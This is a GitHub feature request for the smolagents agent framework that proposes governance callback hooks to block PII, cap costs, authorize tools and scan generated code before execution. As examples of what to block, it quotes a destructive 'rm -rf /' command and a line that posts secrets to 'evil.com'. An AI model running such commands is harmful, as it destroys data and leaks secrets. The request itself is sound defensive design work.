ENH: [Feature] Governance middleware hooks for tool/code execution (PII blocking, cost caps, tool authorization)
Problem
smolagents currently has no built-in governance layer for production deployments. When a CodeAgent generates and executes Python code, or a ToolCallingAgent invokes tools, there's no interception point to:
- Block PII (SSNs, credit cards, emails) from flowing to the LLM or appearing in outputs
- Enforce cost budgets (stop runaway agents that burn API credits in loops)
- Authorize tool calls (only permitted tools execute, dangerous tools blocked)
- Scan generated code for dangerous patterns before
exec() - Produce structured audit evidence for compliance (HIPAA, SOC2, PCI-DSS)
This is especially critical for CodeAgent — it generates arbitrary Python and executes it. Without governance, a compromised or hallucinating agent can exfiltrate data, call unauthorized APIs, or exhaust budgets.
Proposed solution
A middleware/callback interface that runs governance checks at key points in the agent loop:
from smolagents import CodeAgent, ToolCallingAgent
class GovernanceCallback:
def before_tool_call(self, tool_name: str, arguments: dict, context: dict) -> dict | BlockedResponse:
"""Evaluate governance before tool execution. Return arguments to proceed, or BlockedResponse to deny."""
...
def before_code_execution(self, code: str, context: dict) -> str | BlockedResponse:
"""Scan generated code before exec(). Return code to proceed, or BlockedResponse to deny."""
...
def after_completion(self, response: str, context: dict) -> str:
"""Scan agent output for PII/secrets before returning to user."""
...
agent = CodeAgent(
tools=[...],
model=model,
callbacks=[governance_callback], # <-- plug in here
)This keeps governance engine-agnostic — any implementation (TealTiger, GuardrailsAI, custom regex, NeMo) can plug in behind the same interface.
Concrete use cases:
Healthcare agent — Patient asks a medical Q&A agent something containing their SSN. Without governance, the SSN goes straight to the LLM API. With governance, it's redacted before the API call.
Research agent — Agent loops through search + summarize tools, burning $50 in GPT-4 calls. With governance, a $5 budget cap stops it after the limit.
CodeAgent safety — Agent generates
os.system("rm -rf /")orrequests.post("http://evil.com", data=secrets). Governance blocks execution of dangerous patterns.Compliance — Enterprise teams need structured evidence of every governance decision (what was blocked, why, when) for SOC2/HIPAA audits.
Is this not possible with the current options?
Partially. You can wrap individual tools manually:
@tool
def governed_search(query: str) -> str:
# Manual governance check here
if contains_pii(query):
return "Blocked: PII detected"
return actual_search(query)But this requires wrapping every tool individually, doesn't cover CodeAgent code execution, doesn't provide a unified audit trail, and scatters governance logic across tool definitions instead of centralizing it.
A callback/middleware pattern (like what LangChain, AG2, and Haystack support) would be cleaner and composable.
Alternatives considered
- Tool-level wrappers — Works but doesn't scale. Every tool needs individual wrapping, and
CodeAgentcode execution has no interception point. - Custom Agent subclass — Override
run()orstep()to add checks. Works but brittle — breaks on smolagents version updates. - External proxy — Put governance in front of the LLM API. Misses tool-call-level governance entirely (can only scan prompts, not tool arguments).
A first-class callback interface is the right abstraction — it's what every other major agent framework has converged on.
Additional context
- TealTiger (Apache-2.0) already ships governance middleware for AG2 (built-in extension, merged), LangChain (listed on docs), Haystack (integration page), and Ray Serve LLM (PR in review). Happy to contribute a reference implementation for smolagents if the interface is accepted.
- The agent security tools blog by @relayshieldadmin shows community demand for this pattern.
- Governance evaluation is deterministic (regex + policy rules, no LLM in the governance path) — adds under 2ms per check, negligible in agent latency.
Checklist
- I have searched the existing issues and have not found a similar feature request.
- I have verified that this feature is not already implemented in the latest version.
- I am willing to work on this feature and submit a pull request.
Source: huggingface/smolagents